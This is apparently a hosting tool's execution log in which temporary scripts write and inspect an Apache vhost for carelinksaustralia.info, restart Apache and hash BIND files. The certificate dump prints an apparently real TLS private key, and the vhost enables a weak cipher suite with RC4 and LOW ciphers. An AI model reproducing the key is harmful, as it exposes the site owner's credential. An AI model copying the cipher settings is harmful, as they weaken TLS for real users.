</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:18:02:
PUT: /tmp/pkp868684
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi
2025-10-09 11:18:02:
chmod 755 /tmp/pkp868684; /tmp/pkp868684; rm /tmp/pkp868684
2025-10-09 11:18:02:
2025-10-09 11:18:02:
PUT: /tmp/pkp396074
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:18:02:
chmod 755 /tmp/pkp396074; /tmp/pkp396074; rm /tmp/pkp396074
2025-10-09 11:18:02:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:18:02: Establishing a connection
2025-10-09 11:18:02:
PUT: /tmp/pkp567641
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:18:02:
chmod 755 /tmp/pkp567641; /tmp/pkp567641; rm /tmp/pkp567641
2025-10-09 11:18:02:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:18:02:
PUT: /tmp/pkp700029
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:18:02:
chmod 755 /tmp/pkp700029; /tmp/pkp700029; rm /tmp/pkp700029
2025-10-09 11:18:02:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 1274
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:18:02:
PUT: /tmp/pkp974480
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:18:02:
chmod 755 /tmp/pkp974480; /tmp/pkp974480; rm /tmp/pkp974480
2025-10-09 11:18:02:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt 5365
21:03:60:73:69:20:19:5a:2e:d2:79:96:5b:57:94:3f
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBroQFSy3DXAJhj0iOpYAjfcDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxOTMxWhcNMjYwMTA3MTAxOTMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOLYaj5wmV+oUiXkuQMjwDNB++vwX7U0QK5niWvwV+cxvF4WKjHL
r6vn4HqE4q4EzERKIirHlH1Uf3Z0ASEZjX4cYxsHX+T8Yz702TaWG5EG2ER+jsc+
GmWk6s5Eo9vfL3yQx5YfPPvcSAFXoP8KdMvD7IMNNiVrx2jdmPwMXf6ypvzlSXR2
JcKZVTGQRgpRlXLvDVY7UkqcR6/XCCWnQnbHoBCoTaEvc+RG1wAMHbfXWB9TC6nV
QON4QG4vgbOTOKaaZsetFVPGTxFzU4r+oCwAUxypHxS058ueM7cnaoEyMGED+arH
/3BjazKLAcQbsUFnjNRFdAQFZAKeTKkEjRcCAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUrH86LHHv9SF5d312SyLsIyn84jQwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mbzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzQuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGZ
yLE23QAABAMARzBFAiEAkgR7XTyxLedPjdDAcNigDAmL3wcjNYvWka6QV8LW4l8C
ICOL+DLCt3VhRZe21a/xpJSglYy59o5TXssCFAtNFZWgAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyLE3AwAABAMARzBFAiANcUZxd/eZE3v3
jdy0lqykU7rVG6uu2oiDPI3XcGW0EAIhAMUa32XDhQTFvDxWihTuWjr8Ncia9ATy
qrTtH+xqorARMA0GCSqGSIb3DQEBCwUAA4IBAQCiaagkAJsOHrzKWC3LHq3DjFVl
sDdClIVdzB/2W1ZgLrCZSJ/bCS5ObjjREy98LhRBzdFW45TVTWtKlBOS+U1O50qx
FjVeOz4Tv38CoiUK3D7PaZDhhCfrX3C5jkkmkKZ9aaDOEBmi0SBCm+c4XBbV60SK
NXuEZ3qr9Yw1kSC+6we6PgHbI/uaBVAGlOwclyOrkkGFnkkAMwONYhPGWo8vqpjY
avu7HNr5XVqr/A0C09VK3zAUuhLW/n+WU2NfjQqSy2bxvfMn5ZeKOCZ7jpiYenIz
lPEFlxOSjVpQzW4lYG0q28Gh0MvBIURqeXNztSFRc6HaGefFALJovBUaw/xW
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDi2Go+cJlfqFIl
5LkDI8AzQfvr8F+1NECuZ4lr8FfnMbxeFioxy6+r5+B6hOKuBMxESiIqx5R9VH92
dAEhGY1+HGMbB1/k/GM+9Nk2lhuRBthEfo7HPhplpOrORKPb3y98kMeWHzz73EgB
V6D/CnTLw+yDDTYla8do3Zj8DF3+sqb85Ul0diXCmVUxkEYKUZVy7w1WO1JKnEev
1wglp0J2x6AQqE2hL3PkRtcADB2311gfUwup1UDjeEBuL4GzkzimmmbHrRVTxk8R
c1OK/qAsAFMcqR8UtOfLnjO3J2qBMjBhA/mqx/9wY2syiwHEG7FBZ4zURXQEBWQC
nkypBI0XAgMBAAECggEAMD2XsnmdlEMmXRqb4bgLmprwqQcwQ0e+bZhlGAg/mVHx
XgzWokpPrH4eNc/mqN0qV2dwhqp0wIZkqNsYlmJpvaTpyoix8u9dZ7kILFyVtiy/
dyl20ZY6ZN1CdeUQ96Qp5BKh7yHrhSAeS/LHsRUXK3IZ7PC1UBXwjTN64jb7Ejuj
WI61nlvATRNZNBaGG7heqqbvoVao88wHiWr4fw8EAgRXt1lTexVqX+OchUssJQ8e
bKHxfM7Dfa9aOgGTNFI1iYJ2ySITDkmh9P+IsqSthWtqz3QYuJydJPN8Gz9vnuS6
LjLmMzGukw/JhD1blehvKrWFR6FbIc+2ezvGoW0eEQKBgQD0Aarwg/72Qwwou9LI
y4WmuEvzsSMPj7Dn9A+7k4XtMtHF09JhH4U8iCpXCPaHlMUOzejiCGPWQYFGShIm
UAZ9XHvjwwPHrsjhRbwHPqw9x6noNSpsaoMkKrHcBuyIbPPqLX5rUJzDuGf+rer3
SLbce81sONNYsWGZWuHzSOpzOQKBgQDt/s8JQY4dkusMnpixm+pcoGoUXj4czzeB
NflWDGF0sXKiPPakG/YNA96zfX3IPd21DZeHwTc4VPL0wKdRZfwxiCri+2NMR1El
vlECmdkKNB8pS3nFoFfBI3SnNcITpjXXfxZ08nHh3YU7LhzIpRb3W115p4CHv4x6
DkgZIzJyzwKBgCnwH3E3PpsU6wIVRiU81bvR8TvxNhV2nPFBAXM758jc8zENNxt6
T2wX+y76W2TyLOxed6hhyMcKey2ZjYUIPBVPz/tViVDIub3+PlMAcportwgyGxiH
NgMBU5B9oCnSkBmvuAq50DfTegxL2BaoaMV8gdIX8jtMQXoaJLurzKABAoGAOHkR
KZIbpdrZ2Xm8o9BqcSZDZafjNzTYZ9ml24w+h9EfcW3j3Jch8H6tlou9kAlWFYMv
JLBtaPmHWRpp2X/IsvwrqQabzlrR35HkaSiWfrxVdJgLQiDFEfhW0uKHtd/nwMXQ
T1nEOiM1XRCZFedOps1QRfDAJ/YE4GWJKCXY77MCgYAUsglfhIY8AqK0e2Eh/GhP
ew9zY7rG1NCSDgV5aRenJTdaMi0LiB2oiXZcH/h3jjO80yr/VhN518U2sqhQnnwu
Zlh7PePmG3FAfTfxeMkaBy5RFtPIvo1+ZQa2nQhV2rjPShJ1hy7i60NaIMExnA8v
rQcmm3N6GZzO4qoyyznIuQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-09 11:20:10: Establishing a connection
2025-10-09 11:20:10:
PUT: /tmp/pkp866713
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:20:10:
runuser -l bind -s /bin/bash -c '/tmp/pkp866713; rm /tmp/pkp866713'
2025-10-09 11:20:10:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
